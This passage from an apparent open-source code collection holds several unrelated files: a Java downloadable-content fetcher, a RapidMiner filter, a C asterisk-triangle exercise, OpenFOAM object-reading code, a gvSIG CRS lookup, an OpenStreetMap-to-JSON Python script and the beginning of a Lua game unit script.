java.io.OutputStream; import java.net.SocketException; import java.net.URL; import java.net.URLConnection; import java.util.Map; import java.util.concurrent.atomic.AtomicReference; import java.util.logging.Level; import java.util.zip.ZipEntry; import java.util.zip.ZipFile; /** * Retrieves downloadable content */ public abstract class DownloadableContentImpl implements DownloadableContent { private File localFile; private final File localZipFile; private boolean localFileExists = false; private boolean remoteFileExists = true; private boolean errorInLocalFile = false; private DownloadableFile contentFile = null; private ftpUtils ftp = null; private Map<String, Long> fileSizeMap = null; private boolean unrecoverableError = false; private final URL remoteURL; private int remoteVersion = 0; private final static String versionFileName = "contentVersion.txt"; public DownloadableContentImpl(final File localFile, final URL remoteURL, final String archiveExt) { this.remoteURL = remoteURL; this.localFile = localFile; this.localZipFile = FileUtils.exchangeExtension(localFile, archiveExt); } public void dispose() { try { if (ftp != null) ftp.disconnect(); ftp = null; contentFile.dispose(); contentFile = null; } catch (Exception e) { // } } public final DownloadableFile getContentFile() throws IOException { if (contentFile == null) { if (!remoteFileExists && !localFileExists) return null; findFile(); } return contentFile; } public String getFileName() { return localFile.getName(); } protected abstract DownloadableFile createContentFile(final File dataFile); private boolean findLocalFile() { return (localFile.exists() && localFile.isFile()) || (localZipFile.exists() && localZipFile.isFile()); } private boolean getRemoteFile() throws IOException { if (remoteURL.getProtocol().contains("http")) { try { boolean newVersionAvailable = checkForNewRemoteHttpFile(remoteURL, localZipFile); if(newVersionAvailable) { getRemoteHttpFile(remoteURL, localZipFile); saveNewVersion(localZipFile); return true; } } catch (Exception e) { SystemUtils.LOG.warning("http error:" + e.getMessage() + " on " + remoteURL.toString() + localZipFile.getName()); remoteFileExists = false; return false; } } else { return getRemoteFTPFile(remoteURL); } return false; } private boolean checkForNewRemoteHttpFile(final URL remoteURL, final File localZipFile) throws IOException { final File remoteVersionFile = new File(localZipFile.getParent(), "remote_"+versionFileName); try { downloadFile(new URL(remoteURL.toString() + remoteVersionFile.getName()), remoteVersionFile); } catch (Exception e) { // remote version file not found // continue } boolean newVersion = true; if(remoteVersionFile.exists()) { final PropertyMap remoteVersionMap = new DefaultPropertyMap(); remoteVersionMap.load(remoteVersionFile.toPath()); remoteVersion = remoteVersionMap.getPropertyInt(localZipFile.getName()); final File localVersionFile = new File(localZipFile.getParent(), versionFileName); if(localVersionFile.exists()) { final PropertyMap localVersionMap = new DefaultPropertyMap(); localVersionMap.load(localVersionFile.toPath()); int localVersion = localVersionMap.getPropertyInt(localZipFile.getName()); if(remoteVersion != 0 && localVersion != 0 && remoteVersion == localVersion) { newVersion = false; } } remoteVersionFile.delete(); } return newVersion; } private void saveNewVersion(final File localZipFile) throws IOException { if(remoteVersion == 0) return; final File localVersionFile = new File(localZipFile.getParent(), versionFileName); final PropertyMap localVersionMap = new DefaultPropertyMap(); if(localVersionFile.exists()) { localVersionMap.load(localVersionFile.toPath()); } localVersionMap.setPropertyInt(localZipFile.getName(), remoteVersion); localVersionMap.store(localVersionFile.toPath(), ""); } private synchronized void findFile() throws IOException { try { if (contentFile != null) return; if (!localFileExists && !errorInLocalFile) { localFileExists = findLocalFile(); } if (localFileExists) { getLocalFile(); } else if (remoteFileExists) { if (getRemoteFile()) { getLocalFile(); } } if (contentFile != null) { errorInLocalFile = false; } else { if (!remoteFileExists && localFileExists) { SystemUtils.LOG.warning("Unable to read product " + localFile.getAbsolutePath()); } localFileExists = false; errorInLocalFile = true; } } catch (Exception e) { SystemUtils.LOG.warning(e.getMessage()); contentFile = null; localFileExists = false; errorInLocalFile = true; if (unrecoverableError) { throw new IOException(e); } } } private void getLocalFile() throws IOException { File dataFile = localFile; if (!dataFile.exists()) dataFile = getFileFromZip(localZipFile); if (dataFile != null) { contentFile = createContentFile(dataFile); } } private static File getRemoteHttpFile(final URL remoteURL, final File localZipFile) throws IOException { final String remotePath = remoteURL.toString() + localZipFile.getName(); SystemUtils.LOG.info("http retrieving " + remotePath); final AtomicReference<File> returnValue = new AtomicReference<>(); Runnable operation = () -> { try { returnValue.set(downloadFile(new URL(remotePath), localZipFile)); } catch (IOException e) { SystemUtils.LOG.log(Level.SEVERE, "Failed to download remote file.", e); } }; operation.run(); return returnValue.get(); } /** * Downloads a file from the specified URL to the specified local target directory. * The method uses a progress monitor to visualize the download process. * * @param fileUrl the URL of the file to be downloaded * @param localZipFile the target file * @return File the downloaded file * @throws java.io.IOException if an I/O error occurs */ private static File downloadFile(final URL fileUrl, final File localZipFile) throws IOException { final File outputFile = new File(localZipFile.getParentFile(), new File(fileUrl.getFile()).getName()); final URLConnection urlConnection = fileUrl.openConnection(); final int contentLength = urlConnection.getContentLength(); final InputStream is = new BufferedInputStream(urlConnection.getInputStream(), contentLength); final OutputStream os; try { if (!outputFile.getParentFile().exists()) { outputFile.getParentFile().mkdirs(); } os = new BufferedOutputStream(new FileOutputStream(outputFile)); } catch (IOException e) { is.close(); throw e; } final StatusProgressMonitor pm = new StatusProgressMonitor(StatusProgressMonitor.TYPE.DATA_TRANSFER); pm.beginTask("Downloading " + localZipFile.getName() + "... ", contentLength); try { final int size = 32768; final byte[] buf = new byte[size]; int n; while ((n = is.read(buf, 0, size)) > -1) { os.write(buf, 0, n); pm.worked(n); } while (true) { final int b = is.read(); if (b == -1) { break; } os.write(b); } } catch (IOException e) { outputFile.delete(); throw e; } finally { try { os.close(); } finally { is.close(); } pm.done(); } return outputFile; } private boolean getRemoteFTPFile(final URL remoteURL) throws IOException { try { if (ftp == null) { ftp = new ftpUtils(remoteURL.getHost()); fileSizeMap = ftpUtils.readRemoteFileList(ftp, remoteURL.getHost(), remoteURL.getPath()); } final String remoteFileName = localZipFile.getName(); final Long fileSize = fileSizeMap.get(remoteFileName); final ftpUtils.FTPError result = ftp.retrieveFile(remoteURL.getPath() + remoteFileName, localZipFile, fileSize); if (result == ftpUtils.FTPError.OK) { return true; } else { if (result == ftpUtils.FTPError.FILE_NOT_FOUND) { remoteFileExists = false; } else { dispose(); } localZipFile.delete(); } return false; } catch (SocketException e) { unrecoverableError = true; throw e; } catch (Exception e) { SystemUtils.LOG.warning(e.getMessage()); if (ftp == null) { unrecoverableError = false; // allow to continue remoteFileExists = false; throw new IOException("Failed to connect to FTP " + remoteURL.getHost() + '\n' + e.getMessage()); } dispose(); } return false; } private File getFileFromZip(final File dataFile) throws IOException { final String ext = FileUtils.getExtension(dataFile.getName()); if (ext.equalsIgnoreCase(".zip")) { final String baseName = localFile.getName(); final File newFile = new File(ResourceUtils.getApplicationUserTempDataDir(), baseName); if (newFile.exists()) return newFile; ZipFile zipFile = null; BufferedOutputStream fileoutputstream = null; try { zipFile = new ZipFile(dataFile); fileoutputstream = new BufferedOutputStream(new FileOutputStream(newFile)); ZipEntry zipEntry = zipFile.getEntry(baseName); if (zipEntry == null) { zipEntry = zipFile.getEntry(baseName.toLowerCase()); if (zipEntry == null) { final String folderName = FileUtils.getFilenameWithoutExtension(dataFile.getName()); zipEntry = zipFile.getEntry(folderName + '/' + localFile.getName()); if (zipEntry == null) { localFileExists = false; throw new IOException("Entry '" + baseName + "' not found in zip file."); } } } final int size = 8192; final byte[] buf = new byte[size]; InputStream zipinputstream = zipFile.getInputStream(zipEntry); int n; while ((n = zipinputstream.read(buf, 0, size)) > -1) fileoutputstream.write(buf, 0, n); return newFile; } catch (Exception e) { SystemUtils.LOG.warning(e.getMessage()); dataFile.delete(); return null; } finally { if (zipFile != null) zipFile.close(); if (fileoutputstream != null) fileoutputstream.close(); } } return dataFile; } }
gpl-3.0
transwarpio/rapidminer
rapidMiner/rapidminer-studio-core/src/main/java/com/rapidminer/operator/preprocessing/filter/attributes/TransparentAttributeFilter.java
1894
/** * Copyright (C) 2001-2016 by RapidMiner and the contributors * * Complete list of developers available at our web site: * * http://rapidminer.com * * This program is free software: you can redistribute it and/or modify it under the terms of the * GNU Affero General Public License as published by the Free Software Foundation, either version 3 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License along with this program. * If not, see http://www.gnu.org/licenses/. */ package com.rapidminer.operator.preprocessing.filter.attributes; import com.rapidminer.example.Attribute; import com.rapidminer.example.set.ConditionCreationException; import com.rapidminer.operator.UserError; import com.rapidminer.operator.ports.metadata.AttributeMetaData; import com.rapidminer.operator.ports.metadata.MetaDataInfo; import com.rapidminer.parameter.ParameterHandler; /** * This filter actually does nothing and removes no attribute. It is needed to create a behavior * consistent with earlier versions and to allow to bundle the filtering with an * AttributeSubsetPreprocessing operator. * * @author Sebastian Land */ public class TransparentAttributeFilter extends AbstractAttributeFilterCondition { @Override public MetaDataInfo isFilteredOutMetaData(AttributeMetaData attribute, ParameterHandler handler) throws ConditionCreationException { return MetaDataInfo.NO; } @Override public ScanResult beforeScanCheck(Attribute attribute) throws UserError { return ScanResult.KEEP; } }
gpl-3.0
moiseserg/peUTM
ciclos/ejercicioAsteriscosTriangulo2.cpp
278
/* 9 9 ********* 8 ******** 7 ******* 6 ****** 5 ***** 4 **** 3 *** 2 ** 1 * */ #include <stdio.h> int main(){ int a, i, j; scanf ("%d", &a); for (i=a; i>=1; i--){ printf("%2d ", i ); for (j=0; j<i; j++){ printf("*"); } printf("\n"); } return 0; }
gpl-3.0
will-bainbridge/OpenFOAM-dev
src/OpenFOAM/db/regIOobject/regIOobjectRead.C
7992
/*---------------------------------------------------------------------------*\ ========= | \\ / F ield | OpenFOAM: The Open Source CFD Toolbox \\ / O peration | Website: https://openfoam.org \\ / A nd | Copyright (C) 2011-2019 OpenFOAM Foundation \\/ M anipulation | ------------------------------------------------------------------------------- License This file is part of OpenFOAM. OpenFOAM is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. OpenFOAM is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with OpenFOAM. If not, see <http://www.gnu.org/licenses/>. \*---------------------------------------------------------------------------*/ #include "regIOobject.H" #include "IFstream.H" #include "Time.H" #include "Pstream.H" #include "HashSet.H" #include "fileOperation.H" // * * * * * * * * * * * * Protected Member Functions * * * * * * * * * * * // bool Foam::regIOobject::readHeaderOk ( const IOstream::streamFormat format, const word& typeName ) { // Everyone check or just master bool masterOnly = global() && ( regIOobject::fileModificationChecking == timeStampMaster || regIOobject::fileModificationChecking == inotifyMaster ); // Check if header is ok for READ_IF_PRESENT bool isHeaderOk = false; if (readOpt() == IOobject::READ_IF_PRESENT) { if (masterOnly) { if (Pstream::master()) { isHeaderOk = headerOk(); } Pstream::scatter(isHeaderOk); } else { isHeaderOk = headerOk(); } } if ( ( readOpt() == IOobject::MUST_READ || readOpt() == IOobject::MUST_READ_IF_MODIFIED ) || isHeaderOk ) { return fileHandler().read(*this, masterOnly, format, typeName); } else { return false; } } // * * * * * * * * * * * * * * * Member Functions * * * * * * * * * * * * * // Foam::Istream& Foam::regIOobject::readStream(const bool read) { if (IFstream::debug) { InfoInFunction << "Reading object " << name() << " from file " << objectPath() << endl; } if (readOpt() == NO_READ) { FatalErrorInFunction << "NO_READ specified for read-constructor of object " << name() << " of class " << headerClassName() << abort(FatalError); } // Construct object stream and read header if not already constructed if (!isPtr_.valid()) { fileName objPath; if (watchIndices_.size()) { // File is being watched. Read exact file that is being watched. objPath = fileHandler().getFile(watchIndices_.last()); } else { // Search intelligently for file objPath = filePath(); if (IFstream::debug) { Pout<< "regIOobject::readStream() : " << "found object " << name() << " (global " << global() << ")" << " in file " << objPath << endl; } } isPtr_ = fileHandler().readStream(*this, objPath, type(), read); } return isPtr_(); } Foam::Istream& Foam::regIOobject::readStream ( const word& expectName, const bool read ) { if (IFstream::debug) { Pout<< "regIOobject::readStream(const word&) : " << "reading object " << name() << endl; } // Construct IFstream if not already constructed if (!isPtr_.valid()) { readStream(read); // Check the className of the regIOobject // dictionary is an allowable name so that any file can be processed // as raw dictionary and the original type preserved if ( read && expectName.size() && headerClassName() != expectName && headerClassName() != dictionary::typeName ) { if (expectName == dictionary::typeName) { const_cast<word&>(type()) = headerClassName(); } else { FatalIOErrorInFunction(isPtr_()) << "unexpected class name " << headerClassName() << " expected " << expectName << endl << " while reading object " << name() << exit(FatalIOError); } } } return isPtr_(); } void Foam::regIOobject::close() { if (IFstream::debug) { Pout<< "regIOobject::close() : " << "finished reading " << (isPtr_.valid() ? isPtr_().name() : "dummy") << endl; } isPtr_.clear(); } bool Foam::regIOobject::readData(Istream&) { return false; } bool Foam::regIOobject::read() { // Note: cannot do anything in readStream itself since this is used by // e.g. GeometricField. // Save old watchIndices and clear (so the list of included files can // change) fileNameList oldWatchFiles; if (watchIndices_.size()) { oldWatchFiles.setSize(watchIndices_.size()); forAll(watchIndices_, i) { oldWatchFiles[i] = fileHandler().getFile(watchIndices_[i]); } forAllReverse(watchIndices_, i) { fileHandler().removeWatch(watchIndices_[i]); } watchIndices_.clear(); } // Read bool masterOnly = global() && ( regIOobject::fileModificationChecking == timeStampMaster || regIOobject::fileModificationChecking == inotifyMaster ); // Note: IOstream::binary flag is for all the processor comms. (Only for // dictionaries should it be ascii) bool ok = fileHandler().read(*this, masterOnly, IOstream::BINARY, type()); if (oldWatchFiles.size()) { // Re-watch master file addWatch(); } return ok; } bool Foam::regIOobject::modified() const { forAllReverse(watchIndices_, i) { if (fileHandler().getState(watchIndices_[i]) != fileMonitor::UNMODIFIED) { return true; } } return false; } bool Foam::regIOobject::readIfModified() { // Get index of modified file so we can give nice message. Could instead // just call above modified() label modified = -1; forAllReverse(watchIndices_, i) { if (fileHandler().getState(watchIndices_[i]) != fileMonitor::UNMODIFIED) { modified = watchIndices_[i]; break; } } if (modified != -1) { const fileName fName = fileHandler().getFile(watchIndices_.last()); if (modified == watchIndices_.last()) { Info<< "regIOobject::readIfModified() : " << nl << " Re-reading object " << name() << " from file " << fName << endl; } else { Info<< "regIOobject::readIfModified() : " << nl << " Re-reading object " << name() << " from file " << fName << " because of modified file " << fileHandler().getFile(modified) << endl; } return read(); } else { return false; } } // ************************************************************************* //
gpl-3.0
iCarto/siga
libJCRS/src/org/gvsig/crs/repository/EsriRepositoryGT.java
776
package org.gvsig.crs.repository; import org.geotools.referencing.CRS; import org.gvsig.crs.CrsGT; import org.gvsig.crs.ICrs; import org.opengis.referencing.FactoryException; import org.opengis.referencing.NoSuchAuthorityCodeException; import org.opengis.referencing.crs.CoordinateReferenceSystem; public class EsriRepositoryGT implements ICrsRepository { public ICrs getCrs(String code) { CrsGT crsGT = null; try { CoordinateReferenceSystem crs = CRS.decode("ESRI:"+code); crsGT = new CrsGT(crs); } catch (NoSuchAuthorityCodeException e) { // TODO Auto-generated catch block e.printStackTrace(); return null; } catch (FactoryException e) { // TODO Auto-generated catch block e.printStackTrace(); return null; } return crsGT; } }
gpl-3.0
jm974/openstreetmap
openstreetmap/shape.py
7393
#!/usr/bin/env python # -*- coding: utf-8 -*- """The code below is designed to ease the cleansing of https://www.openstreetmap.org OSM file format focusing on French area Tested with Map Area: Saint-Joseph - Île de La Réunion http://www.openstreetmap.org/relation/1282272#map=12/-21.2918/55.6440 http://overpass-api.de/api/map?bbox=55.4871,-21.4039,55.8009,-21.1796 Reference: The cleansing is driven by the JSOM file format as described at http://wiki.openstreetmap.org/wiki/API_v0.6/DTD Note that part of the code are inspired, modified or copy&paste from udacity quizz/course """ import pandas as pd import numpy as np import xml.etree.cElementTree as ET from collections import defaultdict import codecs import json import re import pprint import sys, os, getopt import unicodedata from data_gouv_fr import fantoir, postalcode class Shape(object): """ 'lower', for tags that contain only lowercase letters and are valid, 'lower_colon', for otherwise valid tags with a colon in their names, 'problem_chars', for tags with problematic characters, and """ LOWER_RE = re.compile(r'^([a-z]|_)*$') LOWER_COLON_RE = re.compile(r'^([a-z]|_)*:([a-z]|_)*$') PROBLEM_CHARS_RE = re.compile(r'^.*?[=\+/&\<\>;\'"\?%#$@\,\. \t\r\n].*?$') """List of attributes to be exported under JSON sub documents named 'created' """ JSON_CREATED = [ "version", "changeset", "timestamp", "user", "uid" ] def update_key(self, val, mapping): if val in mapping.keys(): val = mapping[val] return val def shape_tag(self, tag, node, mappings): key = tag.attrib['k'] val = tag.attrib['v'] if not self.PROBLEM_CHARS_RE.match(key): if key.startswith("addr:"): address = node.setdefault("address", {}) addr_key = tag.attrib['k'][len("addr:") : ] if not self.LOWER_COLON_RE.match(addr_key): if addr_key == "street": new_val = self.update_key(u'%s' % val, mappings["street_names"]) address.update({ addr_key: new_val }) elif addr_key == "city": new_val = self.update_key(u'%s' % val, mappings["cities"]) address.update({ addr_key: new_val }) elif addr_key == "housenumber": new_val = self.update_key(u'%s' % val, mappings["house_numbers"]) address.update({ addr_key: new_val}) elif addr_key == "postcode": # one fix for an extra space character inside the postcode value address.update({ addr_key: self.update_key(val.replace(' ', ''), mappings["house_postcodes"]) }) else: address.update({ addr_key: u'%s' % val }) elif key == "phone": node[key] = self.update_key(val, mappings["phones"]) elif key == "capacity": node[key] = self.update_key(val, mappings["capacities"]) elif key == "direction": node[key] = self.update_key(val, mappings["directions"]) elif key == "ele": node[key] = self.update_key(val, mappings["elevations"]) elif key == "postal_code": node[key] = self.update_key(val, mappings["postal_codes"]) elif key == "population": node[key] = self.update_key(val, mappings["populations"]) if key == "name": node[key] = self.update_key(u'%s' % val, mappings["street_names"]) elif self.LOWER_RE.match(key): node[key] = u'%s' % val def shape_lat_lon(self, node, key, val): node.setdefault("pos", [0.0, 0.0])[0 if key == "lat" else 1] = float(val) def shape_element(self, element, mappings): node = {} # you should process only 2 types of top level tags: "node" and "way" if element.tag == "node" or element.tag == "way" : created = node.setdefault("created", {}) for key in element.attrib.keys(): val = element.attrib[key] node["type"] = element.tag if key in self.JSON_CREATED: created.update({ key: val }) elif key == "lat" or key == "lon": self.shape_lat_lon(node, key, val) else: node[key] = val for tag in element.iter("tag"): self.shape_tag(tag, node, mappings) node_refs = node.setdefault("node_refs", []) for tag in element.iter("nd"): node_refs.append(tag.attrib["ref"]) return node else: return None def shape(self, osm_file, mappings, pretty = False): # You do not need to change this file file_out = "{0}.json".format(osm_file) data = [] with codecs.open(file_out, "w", "utf-8") as fo: for _, element in ET.iterparse(osm_file): el = self.shape_element(element, mappings) if el: data.append(el) if pretty: fo.write(json.dumps(el, indent=2, ensure_ascii=False, encoding='utf8')+"\n") else: fo.write(json.dumps(el, ensure_ascii=False, encoding='utf8') + "\n") return data def usage(): print 'shape.py -i -v -o <OSM FILE> -u <UPDATE MAPPING FOLDER>' def main(argv): pretty = False osm_file = None update_folder = None try: opts, args = getopt.getopt(argv,"hpvo:u:",["pretty", "osm=", "ufolder="]) except getopt.GetoptError as err: print str(err) usage() sys.exit(2) for opt, arg in opts: if opt in ("-h", "--help"): usage() sys.exit() elif opt in ("-p", "--pretty"): pretty = True elif opt in ("-o", "--osm"): osm_file = arg elif opt in ("-u", "--ufolder"): update_folder = arg else: print("unhandled option") sys.exit(2) if osm_file is None or update_folder is None: print("You need to supply -o and -u") sys.exit(2) """Get all updated mapped key""" mapping_files = [ "cities", "street_names", "street_types", "house_numbers", "house_postcodes", "postal_codes", "populations", "directions", "elevations", "capacities", "phones", "ref_insees" ] mappings = {} for f in mapping_files: mappings[f] = {} for f in [mf for mf in mapping_files if os.path.exists("%s/%s-update.csv" % (update_folder, mf))]: df = pd.read_csv("%s/%s-update.csv" % (update_folder, f), encoding = 'utf-8') mappings[f] = df.set_index("NEW")["OLD"].to_dict() data = Shape().shape( osm_file= osm_file, mappings=mappings, pretty=pretty ) print("- SAMPLE -") pprint.pprint([x for x in data if x["id"] == "3480487005"]) print("") print("Number of documents: %d" %len(data)) if __name__ == "__main__": main(sys.argv[1:])
gpl-3.0
PicassoCT/Journeywar
scripts/cgatefotressscript.lua
53829
include "lib_OS.lua" include "lib_UnitScript.lua" include "lib_Animation.lua" include "lib_Build.lua" TableOfPieces = {} center = piece("center") TableOfPieces[#TableOfPieces + 1] = center Erker4 = piece("Erker4") TableOfPieces[#TableOfPieces + 1] = Erker4 InnerLoop10 = piece("InnerLoop10") TableOfPieces[#TableOfPieces + 1] = InnerLoop10 InnerLoop1 = piece("InnerLoop1") TableOfPieces[#TableOfPieces + 1] = InnerLoop1 InnerLoop2 = piece("InnerLoop2") TableOfPieces[#TableOfPieces + 1] = InnerLoop2 InnerLoop3 = piece("InnerLoop3") TableOfPieces[#TableOfPieces + 1] = InnerLoop3 InnerLoop4 = piece("InnerLoop4") TableOfPieces[#TableOfPieces + 1] = InnerLoop4 InnerLoop5 = piece("InnerLoop5") TableOfPieces[#TableOfPieces + 1] = InnerLoop5 InnerLoop6 = piece("InnerLoop6") TableOfPieces[#TableOfPieces + 1] = InnerLoop6 InnerLoop7 = piece("InnerLoop7") TableOfPieces[#TableOfPieces + 1] = InnerLoop7 InnerLoop8 = piece("InnerLoop8") TableOfPieces[#TableOfPieces + 1] = InnerLoop8 InnerLoop9 = piece("InnerLoop9") TableOfPieces[#TableOfPieces + 1] = InnerLoop9 InnerLoopC = piece("InnerLoopC") TableOfPieces[#TableOfPieces + 1] = InnerLoopC NGon085 = piece("NGon085") TableOfPieces[#TableOfPieces + 1] = NGon085 NGon086 = piece("NGon086") TableOfPieces[#TableOfPieces + 1] = NGon086 NGon089 = piece("NGon089") TableOfPieces[#TableOfPieces + 1] = NGon089 NGon090 = piece("NGon090") TableOfPieces[#TableOfPieces + 1] = NGon090 NGon088 = piece("NGon088") TableOfPieces[#TableOfPieces + 1] = NGon088 Gun3 = piece("Gun3") TableOfPieces[#TableOfPieces + 1] = Gun3 Mag5 = piece("Mag5") TableOfPieces[#TableOfPieces + 1] = Mag5 Mag6 = piece("Mag6") TableOfPieces[#TableOfPieces + 1] = Mag6 Erker3 = piece("Erker3") TableOfPieces[#TableOfPieces + 1] = Erker3 Erker2 = piece("Erker2") TableOfPieces[#TableOfPieces + 1] = Erker2 NGon087 = piece("NGon087") TableOfPieces[#TableOfPieces + 1] = NGon087 InnerOrigin = piece("InnerOrigin") TableOfPieces[#TableOfPieces + 1] = InnerOrigin OuterLoop12 = piece("OuterLoop12") TableOfPieces[#TableOfPieces + 1] = OuterLoop12 OuterLoop24 = piece("OuterLoop24") TableOfPieces[#TableOfPieces + 1] = OuterLoop24 OuterLoop27 = piece("OuterLoop27") TableOfPieces[#TableOfPieces + 1] = OuterLoop27 Gun1 = piece("Gun1") TableOfPieces[#TableOfPieces + 1] = Gun1 Mag1 = piece("Mag1") TableOfPieces[#TableOfPieces + 1] = Mag1 Mag2 = piece("Mag2") TableOfPieces[#TableOfPieces + 1] = Mag2 OuterLoop25 = piece("OuterLoop25") TableOfPieces[#TableOfPieces + 1] = OuterLoop25 OuterLoop29 = piece("OuterLoop29") TableOfPieces[#TableOfPieces + 1] = OuterLoop29 Gun4 = piece("Gun4") TableOfPieces[#TableOfPieces + 1] = Gun4 Mag7 = piece("Mag7") TableOfPieces[#TableOfPieces + 1] = Mag7 Mag8 = piece("Mag8") TableOfPieces[#TableOfPieces + 1] = Mag8 OuterLoop30 = piece("OuterLoop30") TableOfPieces[#TableOfPieces + 1] = OuterLoop30 OuterLoop31 = piece("OuterLoop31") TableOfPieces[#TableOfPieces + 1] = OuterLoop31 OuterLoop32 = piece("OuterLoop32") TableOfPieces[#TableOfPieces + 1] = OuterLoop32 OuterLoop35 = piece("OuterLoop35") TableOfPieces[#TableOfPieces + 1] = OuterLoop35 OuterLoop36 = piece("OuterLoop36") TableOfPieces[#TableOfPieces + 1] = OuterLoop36 OuterLoop37 = piece("OuterLoop37") TableOfPieces[#TableOfPieces + 1] = OuterLoop37 OuterLoop38 = piece("OuterLoop38") TableOfPieces[#TableOfPieces + 1] = OuterLoop38 OuterLoop39 = piece("OuterLoop39") TableOfPieces[#TableOfPieces + 1] = OuterLoop39 Erker5 = piece("Erker5") TableOfPieces[#TableOfPieces + 1] = Erker5 Erker6 = piece("Erker6") TableOfPieces[#TableOfPieces + 1] = Erker6 OuterLoop34 = piece("OuterLoop34") TableOfPieces[#TableOfPieces + 1] = OuterLoop34 OuterLoop40 = piece("OuterLoop40") TableOfPieces[#TableOfPieces + 1] = OuterLoop40 OuterLoop41 = piece("OuterLoop41") TableOfPieces[#TableOfPieces + 1] = OuterLoop41 OuterLoop43 = piece("OuterLoop43") TableOfPieces[#TableOfPieces + 1] = OuterLoop43 RailGun = piece("RailGun") TableOfPieces[#TableOfPieces + 1] = RailGun Projectile = piece("Projectile") TableOfPieces[#TableOfPieces + 1] = Projectile DronePod1 = piece("DronePod1") TableOfPieces[#TableOfPieces + 1] = DronePod1 DronePod2 = piece("DronePod2") TableOfPieces[#TableOfPieces + 1] = DronePod2 OuterLoop33 = piece("OuterLoop33") TableOfPieces[#TableOfPieces + 1] = OuterLoop33 OuterLoop42 = piece("OuterLoop42") TableOfPieces[#TableOfPieces + 1] = OuterLoop42 OuterLoop44 = piece("OuterLoop44") TableOfPieces[#TableOfPieces + 1] = OuterLoop44 OuterLoop47 = piece("OuterLoop47") TableOfPieces[#TableOfPieces + 1] = OuterLoop47 OuterLoop55 = piece("OuterLoop55") TableOfPieces[#TableOfPieces + 1] = OuterLoop55 Erker9 = piece("Erker9") TableOfPieces[#TableOfPieces + 1] = Erker9 Erker10 = piece("Erker10") TableOfPieces[#TableOfPieces + 1] = Erker10 OuterLoop54 = piece("OuterLoop54") TableOfPieces[#TableOfPieces + 1] = OuterLoop54 DronePod3 = piece("DronePod3") TableOfPieces[#TableOfPieces + 1] = DronePod3 Erker11 = piece("Erker11") TableOfPieces[#TableOfPieces + 1] = Erker11 OuterLoop50 = piece("OuterLoop50") TableOfPieces[#TableOfPieces + 1] = OuterLoop50 OuterLoop51 = piece("OuterLoop51") TableOfPieces[#TableOfPieces + 1] = OuterLoop51 DronePod4 = piece("DronePod4") TableOfPieces[#TableOfPieces + 1] = DronePod4 OuterLoop45 = piece("OuterLoop45") TableOfPieces[#TableOfPieces + 1] = OuterLoop45 OuterLoop46 = piece("OuterLoop46") TableOfPieces[#TableOfPieces + 1] = OuterLoop46 OuterLoop53 = piece("OuterLoop53") TableOfPieces[#TableOfPieces + 1] = OuterLoop53 OuterLoop52 = piece("OuterLoop52") TableOfPieces[#TableOfPieces + 1] = OuterLoop52 Erker1 = piece("Erker1") TableOfPieces[#TableOfPieces + 1] = Erker1 Erker8 = piece("Erker8") TableOfPieces[#TableOfPieces + 1] = Erker8 OuterLoop48 = piece("OuterLoop48") TableOfPieces[#TableOfPieces + 1] = OuterLoop48 OuterLoop49 = piece("OuterLoop49") TableOfPieces[#TableOfPieces + 1] = OuterLoop49 Erker7 = piece("Erker7") TableOfPieces[#TableOfPieces + 1] = Erker7 DronePod5 = piece("DronePod5") TableOfPieces[#TableOfPieces + 1] = DronePod5 Wall = piece("Wall") TableOfPieces[#TableOfPieces + 1] = Wall GatePoint = piece("GatePoint") TableOfPieces[#TableOfPieces + 1] = GatePoint RingB = piece("RingB") TableOfPieces[#TableOfPieces + 1] = RingB Ring0 = piece("Ring0") TableOfPieces[#TableOfPieces + 1] = Ring0 GatePortal = piece("GatePortal") TableOfPieces[#TableOfPieces + 1] = GatePortal GateWave = piece("GateWave") TableOfPieces[#TableOfPieces + 1] = GateWave WaveA = piece("WaveA") TableOfPieces[#TableOfPieces + 1] = WaveA Feed10 = piece("Feed10") TableOfPieces[#TableOfPieces + 1] = Feed10 Feed9 = piece("Feed9") TableOfPieces[#TableOfPieces + 1] = Feed9 Feed8 = piece("Feed8") TableOfPieces[#TableOfPieces + 1] = Feed8 Feed7 = piece("Feed7") TableOfPieces[#TableOfPieces + 1] = Feed7 Feed6 = piece("Feed6") TableOfPieces[#TableOfPieces + 1] = Feed6 Feed5 = piece("Feed5") TableOfPieces[#TableOfPieces + 1] = Feed5 Feed4 = piece("Feed4") TableOfPieces[#TableOfPieces + 1] = Feed4 Feed3 = piece("Feed3") TableOfPieces[#TableOfPieces + 1] = Feed3 Feed2 = piece("Feed2") TableOfPieces[#TableOfPieces + 1] = Feed2 Feed1 = piece("Feed1") TableOfPieces[#TableOfPieces + 1] = Feed1 Ring3 = piece("Ring3") TableOfPieces[#TableOfPieces + 1] = Ring3 Ring2 = piece("Ring2") TableOfPieces[#TableOfPieces + 1] = Ring2 Ring1 = piece("Ring1") TableOfPieces[#TableOfPieces + 1] = Ring1 BigLUpCenter = piece("BigLUpCenter") TableOfPieces[#TableOfPieces + 1] = BigLUpCenter OuterLoop13 = piece("OuterLoop13") TableOfPieces[#TableOfPieces + 1] = OuterLoop13 OuterLoop14 = piece("OuterLoop14") TableOfPieces[#TableOfPieces + 1] = OuterLoop14 OuterLoop15 = piece("OuterLoop15") TableOfPieces[#TableOfPieces + 1] = OuterLoop15 OuterLoop16 = piece("OuterLoop16") TableOfPieces[#TableOfPieces + 1] = OuterLoop16 OuterLoop17 = piece("OuterLoop17") TableOfPieces[#TableOfPieces + 1] = OuterLoop17 OuterLoop18 = piece("OuterLoop18") TableOfPieces[#TableOfPieces + 1] = OuterLoop18 OuterLoop19 = piece("OuterLoop19") TableOfPieces[#TableOfPieces + 1] = OuterLoop19 OuterLoop20 = piece("OuterLoop20") TableOfPieces[#TableOfPieces + 1] = OuterLoop20 OuterLoop21 = piece("OuterLoop21") TableOfPieces[#TableOfPieces + 1] = OuterLoop21 OuterLoop22 = piece("OuterLoop22") TableOfPieces[#TableOfPieces + 1] = OuterLoop22 OuterLoop23 = piece("OuterLoop23") TableOfPieces[#TableOfPieces + 1] = OuterLoop23 BigLCenter = piece("BigLCenter") TableOfPieces[#TableOfPieces + 